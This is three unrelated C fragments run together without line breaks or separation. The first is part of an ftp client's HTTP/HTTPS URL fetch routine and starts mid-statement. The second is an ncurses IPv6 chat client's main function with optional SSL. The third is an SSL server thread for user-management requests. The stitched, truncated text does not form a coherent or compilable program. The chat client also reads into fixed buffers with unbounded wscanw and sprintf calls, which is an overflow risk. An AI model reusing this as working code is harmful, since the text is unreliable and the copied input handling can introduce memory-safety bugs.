(strncasecmp(proxyurl, FTP_URL, sizeof(FTP_URL) - 1) == 0) host = proxyurl + sizeof(FTP_URL) - 1; else { warnx("Malformed proxy URL: %s", proxyenv); goto cleanup_url_get; } if (EMPTYSTRING(host)) { warnx("Malformed proxy URL: %s", proxyenv); goto cleanup_url_get; } if (*--path == '\0') *path = '/'; /* add / back to real path */ path = strchr(host, '/'); /* remove trailing / on host */ if (!EMPTYSTRING(path)) *path++ = '\0'; /* i guess this ++ is useless */ path = strchr(host, '@'); /* look for credentials in proxy */ if (!EMPTYSTRING(path)) { *path = '\0'; cookie = strchr(host, ':'); if (EMPTYSTRING(cookie)) { warnx("Malformed proxy URL: %s", proxyenv); goto cleanup_url_get; } cookie = malloc(COOKIE_MAX_LEN); if (cookie == NULL) errx(1, "out of memory"); if (b64_ntop(host, strlen(host), cookie, COOKIE_MAX_LEN) == -1) errx(1, "error in base64 encoding"); *path = '@'; /* restore @ in proxyurl */ /* * This removes the password from proxyurl, * filling with stars */ for (host = 1 + strchr(proxyurl + 5, ':'); *host != '@'; host++) *host = '*'; host = path + 1; } path = newline; } if (isfileurl) { struct stat st; s = open(path, O_RDONLY); if (s == -1) { warn("Can't open file %s", path); goto cleanup_url_get; } if (fstat(s, &st) == -1) filesize = -1; else filesize = st.st_size; /* Open the output file. */ if (!pipeout) { #ifndef SMALL if (resume) out = open(savefile, O_CREAT | O_WRONLY | O_APPEND, 0666); else #endif /* !SMALL */ out = open(savefile, O_CREAT | O_WRONLY | O_TRUNC, 0666); if (out < 0) { warn("Can't open %s", savefile); goto cleanup_url_get; } } else out = fileno(stdout); #ifndef SMALL if (resume) { if (fstat(out, &st) == -1) { warn("Can't fstat %s", savefile); goto cleanup_url_get; } if (lseek(s, st.st_size, SEEK_SET) == -1) { warn("Can't lseek %s", path); goto cleanup_url_get; } restart_point = st.st_size; } #endif /* !SMALL */ /* Trap signals */ oldintr = NULL; oldinti = NULL; if (setjmp(httpabort)) { if (oldintr) (void)signal(SIGINT, oldintr); if (oldinti) (void)signal(SIGINFO, oldinti); goto cleanup_url_get; } oldintr = signal(SIGINT, abortfile); bytes = 0; hashbytes = mark; progressmeter(-1, path); if ((buf = malloc(buflen)) == NULL) errx(1, "Can't allocate memory for transfer buffer"); /* Finally, suck down the file. */ i = 0; oldinti = signal(SIGINFO, psummary); while ((len = read(s, buf, buflen)) > 0) { bytes += len; for (cp = buf; len > 0; len -= i, cp += i) { if ((i = write(out, cp, len)) == -1) { warn("Writing %s", savefile); signal(SIGINFO, oldinti); goto cleanup_url_get; } else if (i == 0) break; } if (hash && !progress) { while (bytes >= hashbytes) { (void)putc('#', ttyout); hashbytes += mark; } (void)fflush(ttyout); } } signal(SIGINFO, oldinti); if (hash && !progress && bytes > 0) { if (bytes < mark) (void)putc('#', ttyout); (void)putc('\n', ttyout); (void)fflush(ttyout); } if (len != 0) { warn("Reading from file"); goto cleanup_url_get; } progressmeter(1, NULL); if (verbose) ptransfer(0); (void)signal(SIGINT, oldintr); rval = 0; goto cleanup_url_get; } if (*host == '[' && (hosttail = strrchr(host, ']')) != NULL && (hosttail[1] == '\0' || hosttail[1] == ':')) { host++; *hosttail++ = '\0'; #ifndef SMALL if (asprintf(&full_host, "[%s]", host) == -1) errx(1, "Cannot allocate memory for hostname"); #endif /* !SMALL */ } else hosttail = host; portnum = strrchr(hosttail, ':'); /* find portnum */ if (portnum != NULL) *portnum++ = '\0'; #ifndef SMALL if (full_host == NULL) if ((full_host = strdup(host)) == NULL) errx(1, "Cannot allocate memory for hostname"); if (debug) fprintf(ttyout, "host %s, port %s, path %s, " "save as %s, auth %s.\n", host, portnum, path, savefile, auth); #endif /* !SMALL */ memset(&hints, 0, sizeof(hints)); hints.ai_family = family; hints.ai_socktype = SOCK_STREAM; #ifndef SMALL port = portnum ? portnum : (ishttpsurl ? httpsport : httpport); #else /* !SMALL */ port = portnum ? portnum : httpport; #endif /* !SMALL */ error = getaddrinfo(host, port, &hints, &res0); /* * If the services file is corrupt/missing, fall back * on our hard-coded defines. */ if (error == EAI_SERVICE && port == httpport) { snprintf(pbuf, sizeof(pbuf), "%d", HTTP_PORT); error = getaddrinfo(host, pbuf, &hints, &res0); #ifndef SMALL } else if (error == EAI_SERVICE && port == httpsport) { snprintf(pbuf, sizeof(pbuf), "%d", HTTPS_PORT); error = getaddrinfo(host, pbuf, &hints, &res0); #endif /* !SMALL */ } if (error) { warnx("%s: %s", gai_strerror(error), host); goto cleanup_url_get; } #ifndef SMALL if (srcaddr) { hints.ai_flags |= AI_NUMERICHOST; error = getaddrinfo(srcaddr, NULL, &hints, &ares); if (error) { warnx("%s: %s", gai_strerror(error), srcaddr); goto cleanup_url_get; } } #endif /* !SMALL */ s = -1; for (res = res0; res; res = res->ai_next) { if (getnameinfo(res->ai_addr, res->ai_addrlen, hbuf, sizeof(hbuf), NULL, 0, NI_NUMERICHOST) != 0) strlcpy(hbuf, "(unknown)", sizeof(hbuf)); if (verbose) fprintf(ttyout, "Trying %s...\n", hbuf); s = socket(res->ai_family, res->ai_socktype, res->ai_protocol); if (s == -1) { cause = "socket"; continue; } #ifndef SMALL if (srcaddr) { if (ares->ai_family != res->ai_family) { close(s); s = -1; errno = EINVAL; cause = "bind"; continue; } if (bind(s, ares->ai_addr, ares->ai_addrlen) < 0) { save_errno = errno; close(s); errno = save_errno; s = -1; cause = "bind"; continue; } } #endif /* !SMALL */ again: if (connect(s, res->ai_addr, res->ai_addrlen) < 0) { if (errno == EINTR) goto again; save_errno = errno; close(s); errno = save_errno; s = -1; cause = "connect"; continue; } /* get port in numeric */ if (getnameinfo(res->ai_addr, res->ai_addrlen, NULL, 0, pbuf, sizeof(pbuf), NI_NUMERICSERV) == 0) port = pbuf; else port = NULL; #ifndef SMALL if (proxyenv && sslhost) proxy_connect(s, sslhost, cookie); #endif /* !SMALL */ break; } freeaddrinfo(res0); #ifndef SMALL if (srcaddr) freeaddrinfo(ares); #endif /* !SMALL */ if (s < 0) { warn("%s", cause); goto cleanup_url_get; } #ifndef SMALL if (ishttpsurl) { union { struct in_addr ip4; struct in6_addr ip6; } addrbuf; if (proxyenv && sslpath) { ishttpsurl = 0; proxyurl = NULL; path = sslpath; } SSL_library_init(); SSL_load_error_strings(); ssl_ctx = SSL_CTX_new(SSLv23_client_method()); if (ssl_ctx == NULL) { ERR_print_errors_fp(ttyout); goto cleanup_url_get; } if (ssl_verify) { if (ssl_ca_file == NULL && ssl_ca_path == NULL) ssl_ca_file = _PATH_SSL_CAFILE; if (SSL_CTX_load_verify_locations(ssl_ctx, ssl_ca_file, ssl_ca_path) != 1) { ERR_print_errors_fp(ttyout); goto cleanup_url_get; } SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL); if (ssl_verify_depth != -1) SSL_CTX_set_verify_depth(ssl_ctx, ssl_verify_depth); } if (ssl_ciphers != NULL && SSL_CTX_set_cipher_list(ssl_ctx, ssl_ciphers) == -1) { ERR_print_errors_fp(ttyout); goto cleanup_url_get; } ssl = SSL_new(ssl_ctx); if (ssl == NULL) { ERR_print_errors_fp(ttyout); goto cleanup_url_get; } if (SSL_set_fd(ssl, s) == 0) { ERR_print_errors_fp(ttyout); goto cleanup_url_get; } /* * RFC4366 (SNI): Literal IPv4 and IPv6 addresses are not * permitted in "HostName". */ if (inet_pton(AF_INET, host, &addrbuf) != 1 && inet_pton(AF_INET6, host, &addrbuf) != 1) { if (SSL_set_tlsext_host_name(ssl, host) == 0) { ERR_print_errors_fp(ttyout); goto cleanup_url_get; } } if (SSL_connect(ssl) <= 0) { ERR_print_errors_fp(ttyout); goto cleanup_url_get; } if (ssl_verify) { X509 *cert; cert = SSL_get_peer_certificate(ssl); if (cert == NULL) { fprintf(ttyout, "%s: no server certificate\n", getprogname()); goto cleanup_url_get; } if (ssl_check_hostname(cert, host) != 0) { fprintf(ttyout, "%s: host `%s' not present in" " server certificate\n", getprogname(), host); goto cleanup_url_get; } X509_free(cert); } } else { fin = fdopen(s, "r+"); } #else /* !SMALL */ fin = fdopen(s, "r+"); #endif /* !SMALL */ if (verbose) fprintf(ttyout, "Requesting %s", origline); /* * Construct and send the request. Proxy requests don't want leading /. */ #ifndef SMALL cookie_get(host, path, ishttpsurl, &buf); #endif /* !SMALL */ epath = url_encode(path); if (proxyurl) { if (verbose) fprintf(ttyout, " (via %s)\n", proxyurl); /* * Host: directive must use the destination host address for * the original URI (path). We do not attach it at this moment. */ if (cookie) ftp_printf(fin, ssl, "GET %s HTTP/1.0\r\n" "Proxy-Authorization: Basic %s%s\r\n%s\r\n\r\n", epath, cookie, buf ? buf : "", HTTP_USER_AGENT); else ftp_printf(fin, ssl, "GET %s HTTP/1.0\r\n%s%s\r\n\r\n", epath, buf ? buf : "", HTTP_USER_AGENT); } else { #ifndef SMALL if (resume) { struct stat stbuf; if (stat(savefile, &stbuf) == 0) restart_point = stbuf.st_size; else restart_point = 0; } if (auth) { ftp_printf(fin, ssl, "GET /%s %s\r\nAuthorization: Basic %s\r\nHost: ", epath, restart_point ? "HTTP/1.1\r\nConnection: close" : "HTTP/1.0", auth); free(auth); auth = NULL; } else #endif /* SMALL */ ftp_printf(fin, ssl, "GET /%s %s\r\nHost: ", epath, #ifndef SMALL restart_point ? "HTTP/1.1\r\nConnection: close" : #endif /* !SMALL */ "HTTP/1.0"); if (strchr(host, ':')) { /* * strip off scoped address portion, since it's * local to node */ h = strdup(host); if (h == NULL) errx(1, "Can't allocate memory."); if ((p = strchr(h, '%')) != NULL) *p = '\0'; ftp_printf(fin, ssl, "[%s]", h); free(h); } else ftp_printf(fin, ssl, "%s", host); /* * Send port number only if it's specified and does not equal * 80. Some broken HTTP servers get confused if you explicitly * send them the port number. */ #ifndef SMALL if (port && strcmp(port, (ishttpsurl ? "443" : "80")) != 0) ftp_printf(fin, ssl, ":%s", port); if (restart_point) ftp_printf(fin, ssl, "\r\nRange: bytes=%lld-", (long long)restart_point); #else /* !SMALL */ if (port && strcmp(port, "80") != 0) ftp_printf(fin, ssl, ":%s", port); #endif /* !SMALL */ ftp_printf(fin, ssl, "\r\n%s%s\r\n\r\n", buf ? buf : "", HTTP_USER_AGENT); if (verbose) fprintf(ttyout, "\n"); } free(epath); #ifndef SMALL free(buf); #endif /* !SMALL */ buf = NULL; if (fin != NULL && fflush(fin) == EOF) { warn("Writing HTTP request"); goto cleanup_url_get; } if ((buf = ftp_readline(fin, ssl, &len)) == NULL) { warn("Receiving HTTP reply"); goto cleanup_url_get; } while (len > 0 && (buf[len-1] == '\r' || buf[len-1] == '\n')) buf[--len] = '\0'; #ifndef SMALL if (debug) fprintf(ttyout, "received '%s'\n", buf); #endif /* !SMALL */ cp = strchr(buf, ' '); if (cp == NULL) goto improper; else cp++; strlcpy(ststr, cp, sizeof(ststr)); status = strtonum(ststr, 200, 416, &errstr); if (errstr) { warnx("Error retrieving file: %s", cp); goto cleanup_url_get; } switch (status) { case 200: /* OK */ #ifndef SMALL /* * When we request a partial file, and we receive an HTTP 200 * it is a good indication that the server doesn't support * range requests, and is about to send us the entire file. * If the restart_point == 0, then we are not actually * requesting a partial file, and an HTTP 200 is appropriate. */ if (resume && restart_point != 0) { warnx("Server does not support resume."); restart_point = resume = 0; } /* FALLTHROUGH */ case 206: /* Partial Content */ #endif /* !SMALL */ break; case 301: /* Moved Permanently */ case 302: /* Found */ case 303: /* See Other */ case 307: /* Temporary Redirect */ isredirect++; if (redirect_loop++ > 10) { warnx("Too many redirections requested"); goto cleanup_url_get; } break; #ifndef SMALL case 416: /* Requested Range Not Satisfiable */ warnx("File is already fully retrieved."); goto cleanup_url_get; #endif /* !SMALL */ default: warnx("Error retrieving file: %s", cp); goto cleanup_url_get; } /* * Read the rest of the header. */ free(buf); filesize = -1; for (;;) { if ((buf = ftp_readline(fin, ssl, &len)) == NULL) { warn("Receiving HTTP reply"); goto cleanup_url_get; } while (len > 0 && (buf[len-1] == '\r' || buf[len-1] == '\n')) buf[--len] = '\0'; if (len == 0) break; #ifndef SMALL if (debug) fprintf(ttyout, "received '%s'\n", buf); #endif /* !SMALL */ /* Look for some headers */ cp = buf; #define CONTENTLEN "Content-Length: " if (strncasecmp(cp, CONTENTLEN, sizeof(CONTENTLEN) - 1) == 0) { size_t s; cp += sizeof(CONTENTLEN) - 1; if ((s = strcspn(cp, " \t"))) *(cp+s) = 0; filesize = strtonum(cp, 0, LLONG_MAX, &errstr); if (errstr != NULL) goto improper; #ifndef SMALL if (restart_point) filesize += restart_point; #endif /* !SMALL */ #define LOCATION "Location: " } else if (isredirect && strncasecmp(cp, LOCATION, sizeof(LOCATION) - 1) == 0) { cp += sizeof(LOCATION) - 1; if (strstr(cp, "://") == NULL) { #ifdef SMALL errx(1, "Relative redirect not supported"); #else /* SMALL */ if (*cp == '/') { locbase = NULL; cp++; } else { locbase = strdup(path); if (locbase == NULL) errx(1, "Can't allocate memory" " for location base"); loctail = strchr(locbase, '#'); if (loctail != NULL) *loctail = '\0'; loctail = strchr(locbase, '?'); if (loctail != NULL) *loctail = '\0'; loctail = strrchr(locbase, '/'); if (loctail == NULL) { free(locbase); locbase = NULL; } else loctail[1] = '\0'; } /* Contruct URL from relative redirect */ if (asprintf(&redirurl, "%s%s%s%s/%s%s", scheme, full_host, portnum ? ":" : "", portnum ? portnum : "", locbase ? locbase : "", cp) == -1) errx(1, "Cannot build " "redirect URL"); free(locbase); #endif /* SMALL */ } else if ((redirurl = strdup(cp)) == NULL) errx(1, "Cannot allocate memory for URL"); loctail = strchr(redirurl, '#'); if (loctail != NULL) *loctail = '\0'; if (verbose) fprintf(ttyout, "Redirected to %s\n", redirurl); if (fin != NULL) fclose(fin); else if (s != -1) close(s); rval = url_get(redirurl, proxyenv, savefile); free(redirurl); goto cleanup_url_get; } free(buf); } /* Open the output file. */ if (!pipeout) { #ifndef SMALL if (resume) out = open(savefile, O_CREAT | O_WRONLY | O_APPEND, 0666); else #endif /* !SMALL */ out = open(savefile, O_CREAT | O_WRONLY | O_TRUNC, 0666); if (out < 0) { warn("Can't open %s", savefile); goto cleanup_url_get; } } else out = fileno(stdout); /* Trap signals */ oldintr = NULL; oldinti = NULL; if (setjmp(httpabort)) { if (oldintr) (void)signal(SIGINT, oldintr); if (oldinti) (void)signal(SIGINFO, oldinti); goto cleanup_url_get; } oldintr = signal(SIGINT, aborthttp); bytes = 0; hashbytes = mark; progressmeter(-1, path); free(buf); /* Finally, suck down the file. */ if ((buf = malloc(buflen)) == NULL) errx(1, "Can't allocate memory for transfer buffer"); i = 0; len = 1; oldinti = signal(SIGINFO, psummary); while (len > 0) { len = ftp_read(fin, ssl, buf, buflen); bytes += len; for (cp = buf, wlen = len; wlen > 0; wlen -= i, cp += i) { if ((i = write(out, cp, wlen)) == -1) { warn("Writing %s", savefile); signal(SIGINFO, oldinti); goto cleanup_url_get; } else if (i == 0) break; } if (hash && !progress) { while (bytes >= hashbytes) { (void)putc('#', ttyout); hashbytes += mark; } (void)fflush(ttyout); } } signal(SIGINFO, oldinti); if (hash && !progress && bytes > 0) { if (bytes < mark) (void)putc('#', ttyout); (void)putc('\n', ttyout); (void)fflush(ttyout); } if (len != 0) { warn("Reading from socket"); goto cleanup_url_get; } progressmeter(1, NULL); if ( #ifndef SMALL !resume && #endif /* !SMALL */ filesize != -1 && len == 0 && bytes != filesize) { if (verbose) fputs("Read short file.\n", ttyout); goto cleanup_url_get; } if (verbose) ptransfer(0); (void)signal(SIGINT, oldintr); rval = 0; goto cleanup_url_get; noftpautologin: warnx( "Auto-login using ftp URLs isn't supported when using $ftp_proxy"); goto cleanup_url_get; improper: warnx("Improper response from %s", host); cleanup_url_get: #ifndef SMALL if (ssl) { SSL_shutdown(ssl); SSL_free(ssl); } free(full_host); free(auth); #endif /* !SMALL */ if (fin != NULL) fclose(fin); else if (s != -1) close(s); free(buf); free(proxyurl); free(newline); free(cookie); return (rval); }
int main(int argc,char** argv){ // openssl support #ifdef _SSL initSSL(); ctx=SSL_CTX_new(SSLv23_client_method()); if(ctx==NULL){ ERR_print_errors_fp(stdout); exit(-2); } #endif if(argc!=2){ printf("Usage:client ipv6addr\n"); exit(-1); } setlocale(LC_ALL,""); char name[10]; printf("输入昵称:\n"); scanf("%6s",name); int sockfd,len; struct sockaddr_in6 dst; char buf[MAXBUF+1]; char buf1[MAXBUF+1]; sockfd=socket(AF_INET6,PROTOCOL,0); GUARD(sockfd); bzero(&dst,sizeof(dst)); dst.sin6_family=AF_INET6; dst.sin6_port=htons(SERVERPORT); GUARD(inet_pton(AF_INET6,argv[1],&dst.sin6_addr)); GUARD(connect(sockfd,(struct sockaddr *)&dst,sizeof(dst))); // ssl support #ifdef _SSL sslfd=SSL_new(ctx); SSL_set_fd(sslfd,sockfd); if(SSL_connect(sslfd)==-1) ERR_print_errors_fp(stderr); else{ printf("connected with %s encryption\n",SSL_get_cipher(sslfd)); //ShowCerts(sslfd); } #endif // ssl support bind over initscr(); WINDOW *recvBd=subwin(stdscr,HEIGHT1+2,WIDTH+2,1,1); WINDOW *inputBd=subwin(stdscr,HEIGHT+2,WIDTH+2,15,1); recvWin=subwin(stdscr,HEIGHT1,WIDTH,2,2); inputWin=subwin(stdscr,HEIGHT,WIDTH,16,2); box(recvBd,HLINE,VLINE); box(inputBd,HLINE,VLINE); wprintw(recvBd,"接收"); wprintw(inputBd,"发送"); cbreak(); keypad(stdscr,TRUE); start_color(); scrollok(recvWin,1); scrollok(inputWin,1); refresh(); bzero(buf,MAXBUF+1); #ifndef _SSL len=recv(sockfd,buf,MAXBUF,0); #else len=SSL_read(sslfd,buf,MAXBUF); #endif wprintw(recvWin,"%s\n",buf); touchwin(recvWin); wrefresh(recvWin); pthread_t t_recv; if(pthread_create(&t_recv,NULL,recvThread,(void*)sockfd)<0){ perror("create thread"); exit(1); } while(1){ bzero(buf,MAXBUF+1); wprintw(inputWin,"%6s > ",name); int key=wgetch(inputWin); if(key==ESCAPE){ break; } wscanw(inputWin,"%s",buf); touchwin(inputWin); wrefresh(inputWin); sprintf(buf1,"[%6s]: %c%s\n",name,(char)key,buf); #ifndef _SSL len=send(sockfd,buf1,strlen(buf1),0); #else len=SSL_write(sslfd,buf1,strlen(buf1)); #endif if(len<0) continue; } close(sockfd); delwin(recvWin); delwin(inputWin); delwin(recvBd); delwin(inputBd); endwin(); #ifdef _SSL SSL_shutdown(sslfd); SSL_free(sslfd); SSL_CTX_free(ctx); #endif return 0; }
void *user_management_main(void *arg) { BIO *bio_acc = NULL; BIO *bio_client = NULL; SSL *ssl_client = NULL; SSL_CTX *ctx = NULL; int err; char *hosts[1]; ctx = setup_server_ctx(ESA_CERTFILE_PATH, ESA_CERTFILE_PASSWD, EMU_ROOT_CA_ONLY_CERT_CERTFILE_PATH); bio_acc = BIO_new_accept(ESA_USER_MANAGEMENT_PORT); if(!bio_acc) int_error("Creating server socket failed"); if(BIO_do_accept(bio_acc) <= 0) int_error("Binding server socket failed"); for(;;) { if(BIO_do_accept(bio_acc) <= 0) int_error("Accepting connection failed"); bio_client = BIO_pop(bio_acc); if(!(ssl_client = SSL_new(ctx))) int_error("Creating SSL context failed"); SSL_set_bio(ssl_client, bio_client, bio_client); if(SSL_accept(ssl_client) <= 0) { fprintf(stderr, "Accepting SSL connection failed\n"); goto ERROR_AT_SSL_LAYER; } hosts[0] = ADMIN_CN; if((err = post_connection_check(ssl_client, hosts, 1, true, GLOBAL_authority_name)) != X509_V_OK) { fprintf(stderr, "Checking peer certificate failed\n\"%s\"\n", X509_verify_cert_error_string(err)); goto ERROR_AT_SSL_LAYER; } // Process a request if(!process_request(ssl_client)) goto ERROR_AT_SSL_LAYER; ERROR_AT_SSL_LAYER: SSL_cleanup(ssl_client); ssl_client = NULL; ERR_remove_state(0); } SSL_CTX_free(ctx); ctx = NULL; BIO_free(bio_acc); bio_acc = NULL; pthread_exit(NULL); return NULL; }